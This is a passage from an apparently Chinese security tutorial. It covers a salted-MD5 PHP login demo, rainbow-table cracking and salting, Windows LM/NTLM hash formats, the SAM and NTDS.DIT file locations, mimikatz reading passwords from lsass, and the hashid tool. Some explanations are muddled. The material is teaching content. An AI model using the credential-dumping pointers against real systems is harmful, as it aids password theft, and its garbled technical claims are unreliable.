DATABASE IF NOT EXISTS $dbName"; if ($conn->query($sql) === TRUE) { echo "Database created successfully</br>"; } else { die("Error creating database: " . $conn->error . "</br>"); }}// 选择连接的数据库$conn->select_db($dbName);// 检查数据表是否存在$result = $conn->query("SHOW TABLES LIKE 'users'");if ($result->num_rows == 0) { // SQL语句,创建一个名为users的表,如果该表不存在的话 $sql = "CREATE TABLE IF NOT EXISTS users ( id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, username VARCHAR(30) NOT NULL, password VARCHAR(255) NOT NULL, registration_date TIMESTAMP )"; // 执行创建表的SQL语句并检查是否成功 if ($conn->query($sql) === TRUE) { echo "Table users created successfully</br>"; } else { die("Error creating table: " . $conn->error . "</br>"); }}// 获取GET请求中的参数$action = $_GET['action']; // 获取名为'action'的GET参数,该参数用来决定是执行注册还是登录操作$username = $_GET['username']; // 获取名为'username'的GET参数$password = $_GET['password']; // 获取名为'password'的GET参数// 注册用户的逻辑处理if ($action == 'register') { $registration_date = date('Y-m-d H:i:s'); // 获取当前时间作为注册时间 // 使用MD5加密算法对密码和注册时间进行拼接加密 $encryptedPassword = md5($password . $registration_date); // 准备SQL语句进行插入操作 $stmt = $conn->prepare("INSERT INTO users (username, password, registration_date) VALUES (?, ?, ?)"); // 绑定参数到预处理语句 $stmt->bind_param("sss", $username, $encryptedPassword, $registration_date); // 执行预处理语句并检查是否成功 if ($stmt->execute()) { echo "New record created successfully</br>"; // 用户注册成功的消息 } else { echo "Error: " . $stmt->error; // 如果注册失败,则显示错误消息 } // 关闭预处理语句 $stmt->close();}// 登录用户的逻辑处理if ($action == 'login') { // 准备SQL语句进行用户信息检索 $stmt = $conn->prepare("SELECT * FROM users WHERE username = ?"); // 绑定参数到预处理语句 $stmt->bind_param("s", $username); // 执行预处理语句 $stmt->execute(); // 获取结果集 $result = $stmt->get_result(); // 检查结果集中是否有记录(即是否有匹配的用户) if ($result->num_rows > 0) { // 提取结果集中的用户数据 $user = $result->fetch_assoc(); // 为了登录验证,将提交的密码和用户的注册时间再次进行MD5加密 $encryptedPassword = md5($password . $user['registration_date']); // 比较数据库中的密码和加密后提交的密码是否一致 if ($user['password'] === $encryptedPassword) { echo "User logged in successfully</br>"; // 用户登录成功的消息 } else { echo "Invalid username or password</br>"; // 如果密码不匹配,则显示无效的用户名或密码 } } else { echo "Invalid username or password</br>"; // 如果没有匹配的用户记录,则显示无效的用户名或密码 } // 关闭预处理语句 $stmt->close();}// 关闭数据库连接$conn->close();?>http://127.0.0.1/salt.php?action=register&username=kill3r&password=passwordhttp://127.0.0.1/salt.php?action=login&username=kill3r&password=passwordPasswordSaltMD5 Hashpassword(无salt)5f4dcc3b5aa765d61d8327deb882cf99password2024-02-02 20:25:528b79ff043c42bcb1e287d8353418979c不过为了提高代码的安全性,还可以考虑使用编程语言提供的密码存储和验证机制如PHP中的password_hash()和password_verify()函数.并且通过POST而非GET方法传输敏感数据https://www.php.net/manual/en/function.password-hash.phphttps://www.php.net/manual/en/function.password-hash.phphttps://www.php.net/manual/en/function.password-verify.phphttps://www.php.net/manual/en/function.password-verify.php https://www.cmd5.com/https://www.cmd5.com/ https://www.somd5.com/https://www.somd5.com/ https://www.sojson.com/encrypt_md5.htmlhttps://www.sojson.com/encrypt_md5.html https://crackstation.net/https://crackstation.net/ https://hashes.com/en/decrypt/hashhttps://hashes.com/en/decrypt/hash https://crackstation.net/https://crackstation.net/ 彩虹表-密码基础 MD5的全称是Message-Digest Algorithm 5(信息-摘要算法) 特点是不可逆的,一般解密不了.那有没有想过,为什么各种工具网站都可以进行MD5解密呢? 彩虹表,了解一下. 如何存储密码才是安全的?密码存储有几种方式: 直接存储密码明文m 存储密码明文的哈希值hash(m) 存储密码明文的加盐哈希hash(m+salt),这里的Salt可以是用户名,手机号等,但必须保证每个用户的Salt都不一样才是安全的. 如果数据库被入侵 第一种方式:明文存储,无安全性可言. 第二种方式:虽然是入侵者得到的是Hash值,但由于彩虹表的存在,也很容易批量还原出密码明文来. 只有第三种方式才是相对安全的. 彩虹表不是 密码–>明文 的简单存储要从c=hash(m)逆向得到原始明文m,有三种办法: 暴力破解法:时间成本太高. 字典法:提前构建一个明文->密文对应关系的一个大型数据库,破解时通过密文直接反查明文.但存储一个这样的数据库,空间成本是惊人的. 构建彩虹表:在字典法的基础上改进,以时间换空间.是现在破解哈希常用的办法. 彩虹表的前身–预先计算的散列链预先计算的散列链既然存储所有的明文密码对需要的空间太大,密码学家们想出了一种以计算时间降低存储空间的办法:预计算的哈希链集(Precomputed hash chains).这是一条k=2哈希链:K的取值不是严格规定的,而是根据具体需求和安全性考虑选择的.在密码学中,K表示哈希链的长度,即链中节点的数量.较长的哈希链可以提供更高的安全性,但会增加存储和验证的开销.选择适当的K值需要综合考虑以下因素:安全性要求:安全性要求较高的应用通常需要更长的哈希链来增加破解的难度.存储空间:更长的哈希链会占用更多的存储空间,因此需要考虑存储成本和可扩展性.验证速度:验证一个密码时,需要在哈希链上执行多次哈希运算.较长的哈希链会增加验证的时间开销.一般而言,选择K值是一个权衡取舍的过程,根据具体应用的需求和限制来确定.不同的场景可能需要不同的K值来平衡安全性和效率.实际应用中,可以采用除了单一的哈希函数之外的更复杂的哈希结构、加盐等技术来增加密码的安全性.K的取值范围可以根据具体需求和应用场景来确定,通常从2开始,而常见的范围可以是2到数十之间.较小的K值适用于需要较低计算和存储开销的场景,但相对较弱于攻击.较大的K值可以提供更高的安全性,但会增加计算和存储的负担.哈希链H函数就是要破解的哈希函数.约简函数(reduction function)R函数是构建这条链的时候定义的一个函数:它的值域和定义域与H函数相反.通过该函数可以将哈希值约简为一个与原文相同格式的值.约简函数(reduction function)又称归约函数.是彩虹表技术中的关键组成部分之一.它在散列链的构建和使用过程中发挥着重要作用.约简函数的主要目的是将散列值(密码的哈希结果)映射回原始明文密码的空间,从而在彩虹表中实现存储和破解密码的有效性和效率.这条链是这样生成的:随机选择初始明文 aaaaaa,通过哈希函数H(aaaaaa)进行哈希运算,得到哈希值281DAF40哈希函数H() 是一个确定性函数,将输入数据(在这种情况下是明文 aaaaaa)转换为具有固定长度的哈希值.哈希函数的特点是单向不可逆的,即无法从哈希值逆向计算出原始数据.因此,通过应用H()函数,我们可以将 aaaaaa 处理成哈希值 281DAF40.使用约简函数 R(),将哈希值 281DAF40 约简为与原文相同格式的值,得到明文 sgfnyd.约简函数 R() 是一个定义在哈希值空间上的函数,其作用是将哈希值映射回与原始明文相同格式的值.这样做是为了使哈希链中的后续哈希值能够继续通过哈希函数生成新的哈希值.在这个例子中,``R()函数将哈希值281DAF40约简为明文sgfnyd,并确保明文的格式与最初的输入 aaaaaa` 相匹配.将明文 sgfnyd 再次通过哈希函数 H() 进行哈希运算,得到哈希值 920ECF10.现在,我们使用哈希函数 H() 处理明文 sgfnyd,并得到哈希值 920ECF10.这个哈希值将用作哈希链中的下一个节点,它与先前的哈希值 281DAF40 相关联.使用约简函数 R(),将哈希值 920ECF10 约简为明文 kiebgt.再次使用约简函数 R(),我们将哈希值 920ECF10 约简为明文 kiebgt.这样可以确保链中的明文保持一致,并且与之前的处理结果相匹配.通过这些步骤的迭代,您可以构建一个哈希链,其中每个明文都通过哈希函数 H() 和约简函数 R() 相互关联.这种链的目的是验证数据的完整性和防篡改.请注意,哈希函数的选择和约简函数的定义需要根据具体的安全需求进行.此外,在构建哈希链过程中,确保选择适当的哈希算法、安全策略和密钥管理等因素也是非常重要的.预计算的哈希链集的使用当刚好得到的哈希值是 920ECF10,我们可以进行以下步骤来判断是否破解了哈希链集中的(aaaaaa,kiebgt)链条.破解成功的情况:首先,我们对哈希值 920ECF10 进行一次约简运算,得到明文 kiebgt.接下来,我们发现刚好命中了哈希链集中的(aaaaaa,kiebgt)链条.这意味着我们通过哈希链的计算过程,从初始明文 aaaaaa 开始重复计算,最终得到的哈希值恰好与目标哈希值 920ECF10 相匹配.要判断是否命中了哈希链集中的(aaaaaa,kiebgt)链条,需要按照以下步骤进行判断:首先,将明文 aaaaaa输入哈希函数 H() 进行哈希运算得到哈希值 281DAF40,然后再输入约简函数 R(),得到约简值 sgfnyd.将约简值 sgfnyd 输入哈希函数 H() 进行哈希运算,得到哈希值 920ECF10.比较得到的哈希值 920ECF10 是否与输入的哈希值相同.如果相同,则说明命中了哈希链集中的(aaaaaa,kiebgt)链条.这意味着输入的哈希值与链条中的下一个哈希值相匹配,并且通过约简函数 R() 可以得到与链条中的下一个明文相匹配的约简值.由于哈希函数的单向性质,我们无法直接从哈希值逆推出原始明文.但根据我们的破解过程,我们已经确定了明文 aaaaaa 经过哈希链计算后得到的哈希值是 920ECF10,因此,我们可以说在这个特定的哈希链中,明文 aaaaaa 对应的哈希值就是 920ECF10.所以,我们可以说在这种情况下,破解成功,并确定明文 aaaaaa 对应的哈希值以及整个哈希链.破解失败的情况:“密文不是 920ECF10 而是 281DAF40“:原来我们误以为目标哈希值是 920ECF10,但实际上它是 281DAF40.“第一次 R 运算后的结果并未在末节点中找到”:我们进行第一次约简运算(R 运算),但得到的结果没有在哈希链的末节点中找到对应的值.“则再重复一次 H 运算+R运算”:因此,我们再进行一次哈希运算(H 运算)和约简运算(R 运算).“这时又得到了末节点中的值 kiebgt“:这次在末节点中找到了值 kiebgt.“于是再从头开始运算”:由于找到了目标值 kiebgt,我们可以从初始明文 aaaaaa 开始重新进行哈希链计算.“可知 aaaaaa 刚好可哈希值为 281DAF40“:经过重新计算,我们确认明文 aaaaaa 对应的哈希值确实是 281DAF40.另外,如果在重复了 k(=2)次之后仍然没有在末节点中找到对应的值,那么破解被认为失败.预计算的哈希链集的意义在哈希链攻击中,我们通过预先生成一组包含多条哈希链的集合,每条链的长度为k.当需要破解一个特定的哈希值时,只需要从预计算的哈希链集中找到与目标哈希值匹配的哈希链.由于每次破解只需要进行k次哈希运算,计算次数不会超过k.因此,相比于暴力破解方法,哈希链攻击能够大大节约时间.另外,预计算的哈希链集中,每条链只保存了链的起始节点和结束节点,而不保存链中间的所有哈希值.这样相比于存储所有可能的明文哈希值,哈希链集所需的存储空间仅约为总哈希链数的倒数,即1/k.因此,哈希链攻击也大大节约了存储空间的使用.R函数的问题在预计算的哈希链集中,为了最大限度地发挥其作用,需要选择一个分布均匀的约简函数 R.当约简函数 R 不是分布均匀的时候,也就是当出现碰撞(两个不同的输入值得到相同的哈希值)时,就会出现下面这种情况12111 --H--> EDEDED --R--> 222 --H--> FEDEFE --R--> 333 --H--> FEFEDC --R--> 444454 --H--> FEDECE --R--> 333 --H--> FEFEDC --R--> 444 -H--> FEGEDC --R--> 555当两条哈希链发生重叠时,它们能够解密的明文数量远小于理论上的明文数量(即2×k).由于预计算的哈希链集只保存链条的首节点和末节点,而不保存中间的所有哈希值,因此无法快速发现这种重叠的链条.假设有两条重叠的哈希链A和B,它们共享相同的哈希值.在解密过程中,只要找到任意一条哈希链的首节点和末节点,就可以通过逆向约简运算得到明文.然而,当存在重叠的哈希链时,其中一条链的首节点和末节点可能与另一条链的首节点和末节点相同.这意味着,在预计算的哈希链集中,实际上只能得到一条有效的链,而另一条链则被”覆盖”了,无法被利用解密其对应的明文.因此,当发生重叠的链条时,能够解密的明文数量远小于理论上的明文数.由于预计算的哈希链集只保留了链条的首节点和末节点,无法直接检测到重复链条,因此这种重叠链条的存在需要特别注意. 彩虹表彩虹表的出现确实解决了哈希链攻击中的链重叠问题.在传统的哈希链攻击中,通过使用相同的R函数进行多次哈希迭代,不同链中的部分哈希值可能会发生重叠,导致无法正确匹配目标哈希值. 而彩虹表引入了多个不同的R函数(R1、R2、…、Rk)来进行每一步的哈希运算.这样,在生成每条哈希链时,使用不同的R函数可以避免链重叠问题.每个R函数都会产生不同的哈希映射,从而确保生成的哈希链之间没有重叠部分. ​\t彩虹表是一种用于破解密码的方法,上图中的k=3表示每条哈希链由三个步骤组成. ​\t为了降低R函数(映射函数)的冲突概率,彩虹表使用k个不同的R函数来执行每一步的操作. ​\t具体来说,在每次迭代中,我们使用不同的R函数将哈希值映射回密码取值空间.这种密码破解方法称为彩虹表攻击. 实际的彩虹表中,哈希链通常比上面的示例要长得多.例如,在我们的例子中,全部84亿亿个sha256哈希值无法存储在彩虹表中.因此,我们可以将其转化为840亿个长度为1千万的哈希链. 在互联网上,甚至有一些预先计算好的彩虹表可以直接使用.因此,直接保存用户密码的sha256哈希值是非常不安全的做法. 这样一来,及时发生碰撞,通常会是下面的情况: 1234# 链条一111 --H--> EDEDED --R1--> 222 --H--> FEDEFE --R2--> 333 --H--> FEFEDC --R3--> 444# 链条二454 --H--> FEDECE --R1--> 333 --H--> FEFEDC --R2--> 474 -H--> FERFDC --R3--> 909 链条1和链条2,这两个链条在某个位置上发生了碰撞,意味着它们的哈希值相同. 例如,在链条1的第二步操作后得到的哈希值与链条2的第一步操作后得到的哈希值相同. 然而,彩虹表在处理哈希碰撞时采用了一种特殊的策略.在彩虹表中,通过比较链条的末节点(即最后一个密码值),我们可以检测到碰撞,并且区分开这两个链条.换句话说,尽管它们在某个位置上产生了哈希碰撞,但由于它们最终的密码值不同,我们可以知道它们是不同的链条. 彩虹表的使用彩虹表的使用比哈希链集稍微麻烦一些. 首先,我们要假设待破解的密文位于某个哈希链的第k-1位置处.我们使用Rk函数对该密文进行逆向映射,得到一个中间值. 然后,我们在彩虹表的末节点中查找这个中间值是否存在.如果找到了相应的末节点,我们可以使用起始密码验证其正确性. 如果没有找到匹配的末节点,我们需要继续向前推进.我们假设密文位于第k-2位置处,然后进行Rk-1,H,Rk三步运算,得到新的中间值. 然后,我们再次在彩虹表的末节点中查找这个新的中间值.如果找到匹配的末节点,我们可以使用起始密码验证其正确性. 如果还是没有找到匹配的末节点,我们需要重复这个过程,每次向前推进一步,即进行Rk-1,H,Rk三步运算,直到达到最不利的情况,即需要执行完整的R1,H,…,Rk运算才能得出结论. 如果无法在当前位置找到匹配的末节点,我们需要尝试不同的推进路径,以确保最终能够覆盖所有可能性.这种迭代操作的目的是确定给定的密文是否存在于彩虹表中,并找到相应的起始密码. 彩虹表中时间、空间的平衡对于哈希链集而言,最大计算次数是k,即在最坏情况下,需要进行k次哈希运算才能找到匹配.平均计算次数为k/2,因为每个明文经过哈希运算后,会得到两个结果,即起始密码和末节点. 而对于彩虹表来说,最大计算次数是1+2+3+...+k,即k(k-1)/2.这是因为彩虹表的每一列都需要经过不同次数的迭代运算.平均计算次数为[(k+2) * (k+1)]/6,这是根据彩虹表的结构和长度的数学推导得出的. ​\t当k值较大时,彩虹表所需要的存储空间较小,因为它的每一列只需存储起始密码和末节点.而哈希链集在相同的密文数量下,需要存储更多的中间结果.因此,相对而言,彩虹表占用的空间较小. ​\t但是,彩虹表在破解时间上可能会更长,尤其在k较大的情况下.这是因为彩虹表的计算次数较多,需要进行多次迭代运算才能找到匹配.而哈希链集由于每个明文只需要进行一次哈希运算,所以在相同的密文数量下,破解时间可能会相对较短. 因此,在选择使用哈希链集还是彩虹表时,需要综合考虑空间占用和破解时间之间的权衡.如果空间资源有限,可以选择使用彩虹表;如果追求更短的破解时间,可以选择使用哈希链集. 常见的彩虹表和R函数举例 常见的彩虹表 http://project-rainbowcrack.com/table.htmhttp://project-rainbowcrack.com/table.htm R函数举例:假设明文为5位数字,则R函数是取哈希值中前5个数字. https://crypto.stackexchange.com/questions/5900/example-rainbow-table-generationhttps://crypto.stackexchange.com/questions/5900/example-rainbow-table-generation 彩虹表的获取可以自己编程生成彩虹表,也可以使用RainbowCrack或Cain等软件来生成.彩虹表的生成时间与字符集的大小、哈希链的长度成正比,如下图中7位密码、全部字符集、哈希链长度为2万的彩虹表大小为32G,本地生成大约需要332天,而从网上下载只需要2个小时左右,主流的彩虹表的大小普遍在100G以上,想要自己生成是几乎不可能的事. 彩虹表确实像它的名字一样美好,至少黑客眼里是这样. 上表是7位以内密码在不同字符集下构造出的彩虹表的情况,彩虹表中哈希链的长度和个数随着字符集的增长而增长,彩虹表的大小和生成时间也随之成倍增加. 7位数字组合在彩虹表面前简直就是秒破,即使最复杂的7位密码不到一个小时就能破解,如果采用普通的暴力攻击,破解时间可能需要三周. 如何防御彩虹表虽然彩虹表有着如此惊人的破解效率,但网站的安全人员仍然有办法防御彩虹表.最有效的方法就是加盐,加盐后的密码经过哈希加密得到的哈希串与加盐前的哈希串完全不同,黑客用彩虹表得到的密码根本就不是真正的密码. 即使黑客知道了盐的内容、加盐的位置,还需要对H函数和R函数进行修改,彩虹表也需要重新生成,因此加盐能大大增加利用彩虹表攻击的难度. 归约函数 约简函数(reduction function)又称归约函数. 归约函数是一种抽象的函数概念,它用于将散列值映射回明文密码.具体的归约函数可以有不同的实现方式,但其基本目标是通过运算将散列值还原为明文密码. 一种常见的归约函数是简单的模运算.例如,可以将散列值对密码空间的大小取模,以得到还原后的明文密码.这样的归约函数可以表示为: 1reduced_password = hash_value % password_space_size 其中,hash_value是散列值,password_space_size是密码空间的大小. 除了简单的模运算外,还可以使用其他更复杂的归约函数,例如异或运算、位移运算等.具体选择哪种归约函数取决于实际应用和安全需求. 需要注意的是,归约函数被设计为非可逆的,即从散列值到明文密码的还原过程是不可逆的.这是为了防止破解者能够轻易地通过逆向计算找到原始的明文密码. 因此,在彩虹表中,归约函数起到一个重要的作用,它影响着链的长度和破解的效率.通过选择合适的归约函数,可以在存储空间和破解速度之间做出权衡,以满足实际需求. 前置彩虹表之所以能够实现快速破解散列值,是因为它采用了预先计算大量散列值的方式.首先,将明文密码进行散列加密,生成初始的散列值.然后,通过应用归约函数对散列值进行处理,得到新的明文密码.接着,再次进行散列加密,重复该过程多次,直到生成足够数量的散列值. 通过计算足够数量的散列值并存储在彩虹表中,可以提高破解成功的概率.当需要破解某个散列值时,只需在彩虹表中查找是否存在对应的散列值,如果存在,则可以通过归约函数逆向推导出原始明文密码. 因此,理解归约函数的作用是彩虹表技术的核心.归约函数通过将散列值映射回明文密码,使得破解过程能够倒退回原始的密码空间.通过对散列值反复应用归约函数,可以生成一条包含明文密码和散列值的数据链.通过这种方式,彩虹表实现了在较小的存储空间内存储大量散列值和对应的明文密码,从而加快了破解的速度. 作用散列函数将原始明文密码映射为散列值,而归约函数则在彩虹表技术中将散列值映射回原始明文密码.然而,经过归约函数处理后的明文与生成该散列值的原始明文之间没有任何相似之处. 在彩虹表技术中,归约函数起到一个重要的作用,它通过一系列的操作将散列值还原为明文密码的近似值,使得破解者能够在彩虹表中查找对应的散列值.但需要明确的是,通过归约函数处理后的明文只是一个近似值,与生成该散列值的原始明文可能不完全相同. 这是因为归约函数是设计成非可逆的,即无法从散列值逆向计算出完全准确的原始明文密码.因此,经过归约函数处理后的明文密码仅仅是一个接近原始明文的候选值,而不是完全一致的结果. 彩虹表利用了归约函数的这个特性,通过存储和匹配大量的散列值和对应的归约函数处理后的明文密码,实现了快速的密码破解.破解者可以通过比对彩虹表中的散列值与归约函数处理后的明文密码,来寻找原始明文密码的近似值. 阐述归约过程对于彩虹表技术而言,生成一条数据链的过程包括多次迭代散列和归约操作,以构建包含明文和散列值的数据序列.这样的数据链可以用来快速破解散列值,并找到原始明文密码. rtgen工具是一个用于生成彩虹表的工具,它会执行上述的迭代过程.首先,从一个明文密码开始,通过散列函数将其转换为散列值,然后使用归约函数将散列值映射回明文密码.接下来,再次使用散列函数对归约后的明文密码进行散列,再次使用归约函数映射回明文密码.如此反复进行多次迭代操作,直到生成数据链的长度满足需求. 在生成数据链时,仅需记录数据链的第一个节点(起始明文密码和对应的散列值)和最后一个节点(最终归约后的明文密码和对应的散列值).因为在彩虹表攻击中,只需要从起始节点开始,依次进行散列和归约操作,就可以在数据链中匹配到与目标散列值相同的散列值,并获取对应的明文密码. 需要注意的是,由于归约函数是非可逆的,生成的数据链中的明文密码是经过归约函数处理后的近似值,并不与原始明文密码完全相同.因此,在使用彩虹表进行破解时,需要对近似值进行一定的容错处理,以确保找到正确的明文密码. 彩虹表破解散列值的基本思想基于以上观察,我们可以得出以下结论: 在彩虹表技术中,为了增加破解的效率和减小空间消耗,通常会采用多个不同的归约函数.不同位置的节点会对应不同的归约函数,这是为了增加数据链的多样性和覆盖范围. 具体而言,每个数据链上的节点都包含一个明文密码和对应的散列值.每个节点通过特定的归约函数进行映射.当从链的起始节点开始进行散列和归约操作时,每次迭代都会应用不同的归约函数. 通过使用多个归约函数,可以生成多条具有不同规律和特性的数据链.这样做的目的是增加破解时的搜索空间,避免过于依赖单一的归约函数.由于不同的归约函数可能导致不同的映射结果,这意味着即使同一明文密码经过不同位置的节点进行归约,最终得到的散列值也可能不相同. 因此,通过在不同位置使用不同的归约函数,彩虹表能够覆盖更广泛的明文密码和散列值组合,提高破解效率.这样的设计能够减少数据链之间的冲突,并且可以通过使用多条数据链来提供更好的覆盖范围,提高破解成功的概率. 总结在目前的彩虹表技术中,通常会将归约函数的数量设置为与数据链的长度相等.这意味着每个彩虹表都对应一个归约函数,并且不同的归约函数会导致相同明文生成不同的散列结果.这种设计使得彩虹表中的散列结果具有更多的随机性和多样性. 通过使用不同的归约函数,彩虹表能够更好地覆盖明文密码和散列值的组合空间,增加破解时的搜索范围.由于不同的归约函数会导致不同的映射关系,相同的明文密码经过不同位置的节点进行归约后得到的散列值也会有所不同.这意味着即使在同一数据链上,相同的明文密码也可能对应多个不同的散列值. 因此,采用不同的归约函数可以为彩虹表提供更大的随机性和覆盖范围,增加破解过程中成功匹配散列值的概率.通过引入更多的归约函数,彩虹表可以更好地抵抗针对特定归约函数的攻击,提高密码破解的难度和耗费更多的计算资源.总之,归约函数的多样性是彩虹表技术中重要的设计因素之一,为破解散列值提供了更大的挑战. Windows 认证-密码基础Windows Hash分类如下: LM Hash NTLM Hash Net-NTLM Hash Windows Hash简介 Windows系统内部不保存用户的明文密码,只保存密码的Hash值 本机用户的密码Hash是存放SAM%SystemRoot%\\system32\\config\\sam文件中 域内用户的密码Hash是存在域控的NTDS.DIT文件中 数据库文件夹:C:\\\\Windows\\NTDS 日志文件文件夹:C:\\\\Windows\\NTDS SYSVOL文件夹:C:\\\\Windows\\SYSVOL Windows系统导出密码的格式如下: 12用户名:RID:LM-Hash:NTLM-HashAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 当Windows用户密码≤14个字符,SAM文件中是LM Hash值+NTLM-Hash值 当Windows用户密码>14个字符,SAM文件中是NTLM-Hash值 NTLM HashNTLM Hash是支持Net NTLM认证协议及本地认证过程中的一个重要参与物,其长度为32位,由数字与字母组成. 当我们登录系统的时候,系统会将用户输入的密码计算成NTLM Hash,然后与sam数据库中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败 这里提到的NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中,对于这个概念一定要牢牢记住,因为后面NTLM Hash会经常出现 大致的运算流程为: 1用户密码->HEX编码->Unicode编码->MD4 用python计算密码’admin’的NTLM哈希: 12from passlib.hash import nthashprint(nthash.hash('admin')) 一定要保护好自己的SAM文件,现在的PE去密码也是这种方式 本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与SAM进行比对 我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的 LM Hash 用户口令全部转为大写老的windows的用户名密码不区分大小写 用户口令转为16进制之后不足14个字符(28位)长度,用0补足 把密码的16进制字符串分成两个7byte部分 每部分转换成比特流,并且长度为56bt,长度不足使用0在左边补齐长度 再分7bit为一组末尾加0,转换为16进制,组成新的编码 分别用key为KGS!@#$%(4B47532140232425)进行DES加密 最后将二组DES加密后的编码拼接,获得LM-HASH值 12345678910111213141516171819202122# 将所有小写字母转换为大写字母123ABC #未达到7个字符# 将密码转化为16进制,分两组,填充为14个字符,空余位使用0x00字符填补31323341424300000000000000# 将密码分割为两组7个字节的块31323341424300000000000000001 # 16进制# 将每组转化为比特流,不足56Bit则在左边加031323341424300->(转换为二进制)110001001100100011001101000001010000100100001100000000->(补足56Bit)00110001001100100011001101000001010000100100001100000000# 将比特流按照7比特一组,分出8组,末尾加0# 由于后者都为0,结果可想而知,都是0# 将每组比特流转换为16进制作为被加密的值,使用DES加密,字符串"KGS!@#$%"(0x4B47532140232425)为Key,得到8个结果,每个结果转换为16进制001100001001100010001100011010000001010000010010000011000000000030988C6814120000->DES(30988C6814120C00)->48-D7-EB-91-2F-5E-69-7C# 由于我们的密码不超过7字节,所以后面的一半是固定的:AA-D3-B4-35-B5-14-04-EE# 连接两个DES加密字符串.这是LM哈希.48-D7-EB-91-2F-5E-69-7C-AA-D3-B4-35-B5-14-04-EE 本地认证流程Windows Logon Process(即Winlogon.exe),是Windows NT用户登录程序,用于管理用户登录和退出 Lsass用于微软Windows系统的安全机制.它用于本地安全和登录策略 Net NTLM Hash(Windows 网络认证)在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构 假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过认证才能够访问B主机上的资源 最常见的服务:SMB服务端口:445 NTLM(NT LAN Manager) 协议早期SMB协议在网络上传输明文口令.后来出现LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至很容易就被破解微软提出了WindowsNT挑战/响应验证机制,称之为NTLM.现在已经有了更新的NTLMv2以及Kerberos验证体系. 挑战/响应–协商 ​ 客户端主要在这一步向服务器确认协议的版本,是v1还是v2 挑战/响应–质询 客户端向服务器端发送用户信息(用户名)请求 服务器接受到请求,生成一个16位的随机数,被称之为Challenge,使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符)生成Challenge1.同时,生成Challenge1后,将Challenge(16位随机字符)发送给客户端Net NTLM Hash=NTLM Hash(Challenge) 客户端接受到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端. 服务器端收到客户端的Response后,比对Chanllenge1与Response是否相等,若相等,则认证通过. 挑战/响应–认证 挑战/响应–认证流程 注意: Chanllenge是Server产生的一个16字节的随机数,每次认证都不同 Response的表现形式是Net-NTLM Hash,他是由客户端提供的密码Hash加密Server返回的Chanllenge产生的结果 NTLM V2协议​\tNTLM v1与NTLM V2最显著的区别就是Challenge.与加密算法不同,共同点就是加密的原料都是NTLM Hash.不同点: Challage:NTLM V1的Challenge有8位,NTLM V2的Challenge为16位. Net-NTLM Hash:NTLM V1的主要加密算法是DES,NTLM V2的主要加密算法是HMAC-MD5 哈希类型识别Hash-identifier hash-identifier是一个用于识别哈希类型的工具.它可以根据输入的哈希值自动推断出哈希算法的类型. 1234567891011121314151617181920 hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\\ \\/\\ \\ /\\ \\ /\\__ _\\ /\\ _ `\\ # # \\ \\ \\_\\ \\ __ ____ \\ \\ \\___ \\/_/\\ \\/ \\ \\ \\/\\ \\ # # \\ \\ _ \\ /'__`\\ / ,__\\ \\ \\ _ `\\ \\ \\ \\ \\ \\ \\ \\ \\ # # \\ \\ \\ \\ \\/\\ \\_\\ \\_/\\__, `\\ \\ \\ \\ \\ \\ \\_\\ \\__ \\ \\ \\_\\ \\ # # \\ \\_\\ \\_\\ \\___ \\_\\/\\____/ \\ \\_\\ \\_\\ /\\_____\\ \\ \\____/ # # \\/_/\\/_/\\/__/\\/_/\\/___/ \\/_/\\/_/ \\/_____/ \\/___/ v1.1 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### ------------------------------------------------------------------------- HASH: 46ea1712d4b13b55b3f680cc5b8b54e8Possible Hashs:[+] MD5[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) Hashid 这个工具取代了已经过时的hash-identifier! hashID是一个使用正则表达式支持识别超过220种独特哈希类型的工具,它由Python 3编写而成.支持的哈希类型的详细列表可以在这里找到. 它能够识别单个哈希值,解析文件或读取目录中的多个文件,并识别其中的哈希值.hashID还能够在输出中包含相应的hashcat模式和/或JohnTheRipper格式. hashID可以在任何平台上使用Python 2 ≥ 2.7.x或Python 3 ≥ 3.3,并且可以即插即用. 在Linux操作系统中识别哈希值时,请使用单引号以防止插值发生. 1234567891011121314151617181920┌──(root㉿kill3r)-[/opt]└─# hashid -h使用hashid识别用于加密数据的不同类型的哈希算法用法: hashid.py [-h] [-e] [-m] [-j] [-o FILE] [--version] INPUT位置参数: INPUT 要分析的输入(默认为STDIN)选项: -e, --extended 列出包括加盐密码在内的所有可能的哈希算法 -m, --mode 在输出中显示相应的Hashcat模式 -j, --john 在输出中显示相应的JohnTheRipper格式 -o FILE, --outfile FILE 将输出写入文件 -h, --help 显示此帮助消息并退出 --version 显示程序的版本号并退出许可证: GPLv3+: GNU通用公共许可证第3版或更高版<http://gnu.org/licenses/gpl.html> 1234567891011121314151617181920212223242526272829303132333435┌──(root㉿kill3r)-[/opt]└─# hashid '0192023a7bbd73250516f069df18b500' -mAnalyzing '0192023a7bbd73250516f069df18b500'[+] MD2[+] MD5 [Hashcat Mode: 0][+] MD4 [Hashcat Mode: 900][+] Double MD5 [Hashcat Mode: 2600][+] LM [Hashcat Mode: 3000][+] RIPEMD-128[+] Haval-128[+] Tiger-128[+] Skein-256(128)[+] Skein-512(128)[+] Lotus Notes/Domino 5 [Hashcat Mode: 8600][+] Skype [Hashcat Mode: 23][+] Snefru-128[+] NTLM [Hashcat Mode: 1000][+] Domain Cached Credentials [Hashcat Mode: 1100][+] Domain Cached Credentials 2 [Hashcat Mode: 2100][+] DNSSEC(NSEC3) [Hashcat Mode: 8300][+] RAdmin v2.x [Hashcat Mode: 9900]┌──(root㉿kill3r)-[/opt]└─# hashid '$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1' -mAnalyzing 